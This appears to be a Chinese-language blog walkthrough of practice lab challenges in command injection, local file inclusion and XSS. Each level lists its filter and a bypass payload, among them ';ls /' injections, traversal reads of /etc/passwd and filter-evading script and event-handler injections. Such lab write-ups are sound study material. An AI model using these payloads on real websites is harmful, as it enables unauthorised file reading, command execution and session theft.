去爬山了…昨天的内容没搞,今天补上emm
0x01 命令注入
命令注入这六个题相对来说挺简单的,一个一个来看
CMD-1
没有任何过滤,直接?cmd=ls
即可。
CMD-2
跟CMD-1一样,只不过变成了post,同理POST: cmd=ls。
CMD-3
GET型,直接;ls /
即可(linux命令以分号结束)。
CMD-4
同CMD-3,只不过换成了POST型。
CMD-5
随意输入baidu.com提交后,发现url处变成了
1 | ?domain=baidu.com&server=whois.publicinterestregistry.net |
查看源码发现domain小写化后进行正则过滤,好像是要符合域名规范,不过好像;ls /
直接就绕过了..不需要在server处注入。
CMD-6
同CMD-5,只不过变成了POST。
0x02 LFI(本地文件读取)
LFI-1
直接任意文件读取,payload:/etc/passwd
LFI-2
%00截断,payload:?library=../../../flag%00
LFI-3
查看源码发现代码会检查最后四位是否是’.php’,这里绕过方法有很多:
1.加点.
(win)
2.追加/.
(win)
3.追加不可见字符,例如%00
4.大小写绕过(win)
5.::$DATA
(win)
6.其他可解析后缀,例如php3,php4,php5,phtml等
LFI-4
查看源码发现重要的一行:
1 | include('includes/class_'.addslashes($_GET['class']).'.php'); |
这里可以跟LFI-2思路一样,不过不能使用%00截断,因为addslashes函数会对单引号,双引号,反斜杠,0x00进行转义,造成%00截断失效。
这里吧class_
当成一个目录即可,用../
跳出去。payload:
1 | ?class=/../../../../../etc/passwd |
LFI-5
查看源码发现过滤了../
,但是只是替换成空字符,且只替换一次,故通过双写../
即可绕过。payload:
1 | ?file=..././..././..././..././etc/passwd |
LFI-6/7/8/9/10
只是换成了post型,跟LFI-1/2/3/4/5相同。
LFI-11
查看源码发现需要post提交一个stylepath参数,但是文本框提交的不是,所以需要自己来,故通过firefox的hackbar插件完成post提交,payload:
1 | stylepath=/etc/passwd |
LFI-12
跟上一题一样,只不过换成了get方式
LFI-13
和LFI-5一样(懵,为什么一样)
LFI-14
和LFI-5一样,换成POST请求
LFI-15
查看源码发现需要传入cookie,最终include的是cookie中TEMPLATE的值,故传入即可。payload:
1 | ../../../../../../etc/passwd |
0x03 XSS
xss(跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
xss攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。 –来自维基百科
一般会遇到的过滤函数:
htmlspecialchars()
: 函数把预定义的字符转换为 HTML 实体- 范围:
<> & "
. '
默认配置不被过滤.
- 范围:
str_replace()
: 替换函数,注意它只替换一轮,并且区分大小写. 当被替换的目标串为空,可以考虑双写饶过.strtolower()
函数将字符串转化为小写,防止大小写绕过.strpos()
函数查找字符串在另一字符串中第一次出现的位置,并且对大小写敏感.angularjs
中的ng-include
, 相当于 PHP 中include
函数,能够包含其他文件.
积累一些基本的xss的payload:
1 | <script>alert(1)</script> |
Level-1
使用最基本的payload:
1 | <script>alert(/xss/)</script> |
Level-2
查看源码发现htmlspecialchars过滤了,不过这里可以通过<input>
标签处的闭合来进行代码注入,payload:
1 | ?keyword=aaa"> <script>alert(/xss/);</script> |
虽然多了个">
,但也还是能执行。
Level-3
跟上一题相比,value里面的str也被过滤了,标签无法使用,但是可以加监听事件来实现代码执行,payload:
1 | 1' onclick=alert(/xss/) // |
Level-4
和上一题一样可以通过事件触发,payload:
1 | " onclick=alert(/xss/) " |
(也可以大小写绕过)
Level-5
查看源码发现<script>
会被替换成<scr_ipt>
,on
会被替换成o_n
,且无法绕过,不过发现a标签未被过滤,故通过a标签执行js代码。payload:
1 | "><a href=" javascript:alert(/xss/)" |
(本题也可以大小写绕过)
Level-6
本题大小写绕过即可。payload:
1 | "> <sCript>alert(/xss/);</Script> |
Level-7
这次全部替换为小写,但是却是将敏感的keyword替换成空字符,故可通过双写绕过,payload:
1 | "> <scscriptript>alert(/xss/);</scrscriptipt> |
Level-8
这次转化为小写后替换成无法执行的内容,且过滤了双引号。可以通过html实体编码绕过,payload:
1 | javascript:alert(1) |
Level-9
查看源码发现可以从友情链接处入手(未被过滤)。但是要求带http://
协议头(位置无限制)。payload:
1 | javascript:alert(/xss/)// http:// |
Level-10
查看源码发现三个隐藏起来的input。发现t_sort可以利用,但是需要先将他调整为可见,才可以植入事件触发xss,payload:
1 | aaa" type="text" onclick="alert(/xss/) |
Level-11
查看源码发现隐藏的四个input框有一个t_ref比较特殊,似乎value的内容刚好就是上一个页面的内容,尝试构造一个Referer试试:
1 | Referer: "type="text" onclick="alert(/xss/) |
果然生效了。
Level-12
跟11题一样,不过变成了User-Agent。
Level-13
跟11题一样,不管换成了Cookie。
Level-14
这个题是要借助上传图片xss来完成。访问http://www.exifviewer.org
,然后长传一个带有xss代码的图片触发xss。将图片的标题主题标记备注作者版权等信息全部修改为如下payload:
1 | ’ “><img src=xxx onerror=alert(/xss/)’ 1.jpeg |
上传后,则可触发xss。
Level-15
这里用了 angularjs
的 ng-include
, ng-include
指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下,相当于 PHP 的 include
函数。
本题payload:
1 | /level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>' |
(具体原理还没理解透彻,angularjs还没学过…)
Level-16
查看源码发现特殊符号和空格会被转义,script
会被替换成
,并且转换为小写。
这里通过%0d %0a等分隔符绕过空格的过滤,同时使用img标签(不需要),payload:
1 | ?keyword=<img%0Dsrc=1%0Donerror=alert(/xss/)> |
Level-17
查看源码发现这一行:
1 | <embed src=xsf01.swf?xxxxxxxxx=sssss width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> |
相关php代码:
1 | echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; |
使用onmouseover触发事件,payload:
1 | ?arg01=aaa&arg02= onmouseover=alert(/xss/) |
Level-18/19/20
Flash xss内容,暂时不考虑。